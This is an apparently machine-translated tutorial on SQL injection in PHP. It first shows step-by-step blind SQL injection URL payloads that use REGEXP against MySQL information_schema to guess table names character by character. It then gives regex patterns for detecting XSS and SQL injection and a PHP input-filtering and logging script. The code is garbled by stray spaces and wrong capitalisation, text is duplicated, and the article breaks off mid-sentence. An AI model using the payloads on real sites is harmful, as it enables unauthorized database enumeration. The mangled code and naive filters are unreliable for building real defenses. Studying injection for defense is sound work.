Summary of common SQL attacks in php using regular expressions

This article mainly introduces the regular expressions of common SQL attacks in php, and summarizes the analysis and application of various common SQL statements and regular expressions, it provides a good reference for the security of PHP programming.

This article mainly introduces the regular expressions of common SQL attacks in php, and summarizes the analysis and application of various common SQL statements and regular expressions, it provides a good reference for the security of PHP programming.

This article describes the regular expressions of common SQL attacks in php. Share it with you for your reference. The specific analysis is as follows:

We all know that all database names and field names are stored in the information_schema database of MYSQL 5 +. The attack method is as follows:

1. Determine whether the first character of the first table name is a character in a-z. blind_sqli is a known database name.
Note: In the regular expression, ^ [a-z] indicates that the starting character in the string is within the range of a-z.

The Code is as follows:

Index. php? Id = 1 and 1 = (SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA = "blind_sqli" AND table_name REGEXP '^ [a-z] 'limit 0, 1 )/*

2. Determine whether the first character is a character in a-n.

The Code is as follows:

Index. php? Id = 1 and 1 = (SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA = "blind_sqli" AND table_name REGEXP '^ [a-n] 'limit 0, 1 )/*

3. confirm that the character is n

The Code is as follows:

Index. php? Id = 1 and 1 = (SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA = "blind_sqli" AND table_name REGEXP '^ n' LIMIT 0, 1 )/*

4. Replace the expression as follows:

The Code is as follows:

Expression like this: '^ n [a-z]'-> '^ ne [a-z]'-> '^ new [a-z]'-> '^ news [a-z] '-> FALSE

In this case, the table name is news. to verify whether the regular expression is '^ news $', you do not need to directly judge table_name = 'News.

5. Then, you can guess other tables. You only need to modify limit-> limit to perform blind injection on the following tables.

For example:

The Code is as follows:

$ Exec_Commond = "(\ s | \ S) * (exec (\ s | \ +) + (s | x) p \ w +) (\ s | \ S) *";
$ Simple_XSS = "(\ s | \ S) * (% 3C) | <) (% 2F) |/) * [a-z0-9 %] + (% 3E) |>) (\ s | \ S )*";
$ Eval_XSS = "(\ s | \ S) * (% 65) | e) (\ s) * (% 76) | v) (\ s) * (% 61) | a) (\ s) * (% 6C) | l) (\ s | \ S )*";
$ Image_XSS = "(\ s | \ S) * (% 3C) | <) (% 69) | I | I | (% 49) (% 6D) | m | M | (% 4D) (% 67) | g | G | (% 47) [^ \ n] + (% 3E) |>) (\ s | \ S )*";
$ Script_XSS = "(\ s | \ S) * (% 73) | s) (\ s) * (% 63) | c) (\ s) * (% 72) | r) (\ s) * (% 69) | I) (\ s) * (% 70) | p) (\ s) * (% 74) | t) (\ s | \ S )*";
$ SQL _Injection = "(\ s | \ S) * (% 27) | (') | (% 3D) | (=) | (/) | (% 2F) | (") | (% 22) | (-| % 2D) {2}) | (% 23) | (% 3B) | (;)) + (\ s | \ S )*";

SQL attack code:

The Code is as follows:

<? Php
Function customError ($ errno, $ errstr, $ errfile, $ errline)
{
Echo"Error number:[$ Errno], error on line $ errline in $ errfile
";
Die ();
}
Set_error_handler ("customError", E_ERROR );
$ Getfilter = "'| (and | or) \ B. +? (>|<|=| In | like) |\/ \ *. +? \ * \/| <\ S * script \ B | \ bEXEC \ B | UNION. +? SELECT | UPDATE. +? SET | INSERT \ s + INTO. +? VALUES | (SELECT | DELETE). +? FROM | (CREATE | ALTER | DROP | TRUNCATE) \ s + (TABLE | DATABASE )";
$ Postfilter = "\ B (and | or) \ B. {1, 6 }? (= |> | <| \ Bin \ B | \ blike \ B) | \/\ *. +? \ * \/| <\ S * script \ B | \ bEXEC \ B | UNION. +? SELECT | UPDATE. +? SET | INSERT \ s + INTO. +? VALUES | (SELECT | DELETE). +? FROM | (CREATE | ALTER | DROP | TRUNCATE) \ s + (TABLE | DATABASE )";
$ Cookiefilter = "\ B (and | or) \ B. {1, 6 }? (= |> | <| \ Bin \ B | \ blike \ B) | \/\ *. +? \ * \/| <\ S * script \ B | \ bEXEC \ B | UNION. +? SELECT | UPDATE. +? SET | INSERT \ s + INTO. +? VALUES | (SELECT | DELETE). +? FROM | (CREATE | ALTER | DROP | TRUNCATE) \ s + (TABLE | DATABASE )";
Function StopAttack ($ StrFiltKey, $ StrFiltValue, $ ArrFiltReq)
{
If (is_array ($ StrFiltValue ))
{
$ StrFiltValue = implode ($ StrFiltValue );
}
If (preg_match ("/". $ ArrFiltReq. "/is", $ StrFiltValue) = 1 &&! Isset ($ _ REQUEST ['securitytoken'])
{
Slog ("

Operation IP Address: ". $ _ SERVER [" REMOTE_ADDR "]."
Operation Time: ". strftime (" % Y-% m-% d % H: % M: % S ")."
Operation page: ". $ _ SERVER [" PHP_SELF "]."
Submission method: ". $ _ SERVER [" REQUEST_METHOD "]."
Parameter submitted: ". $ StrFiltKey ."
Submit data: ". $ StrFiltValue );
Print "result notice: Illegal operation! ";
Exit ();
}
}
Foreach ($ _ GET as $ key => $ value)
{
StopAttack ($ key, $ value, $ getfilter );
}
Foreach ($ _ POST as $ key => $ value)
{
StopAttack ($ key, $ value, $ postfilter );
}
Foreach ($ _ COOKIE as $ key => $ value)
{
StopAttack ($ key, $ value, $ cookiefilter );
}

Function slog ($ logs)
{
$ Toppath = "log.htm ";
$ Ts = fopen ($ toppath, "a + ");
Fputs ($ Ts, $ logs. "rn ");
Fclose ($ Ts );
}
?>

SQL analysis:

If you use this function, it bypasses PHP's standard error handling, so you have to define the error handling program (die ()).
Second, if an error occurs before the code is executed, the User-Defined program is not executed at that time, so the error handling program written by the user will not be used.

In PHP, you can use set_error_handler () to handle PHP errors. You can also use the trigger_error () function to throw an error.

The set_error_handler () function sets the custom error handling function. The function is used to create the user's own error handling method during running. It needs to create an error handling function first, and then set the error level.
Usage:

The Code is as follows: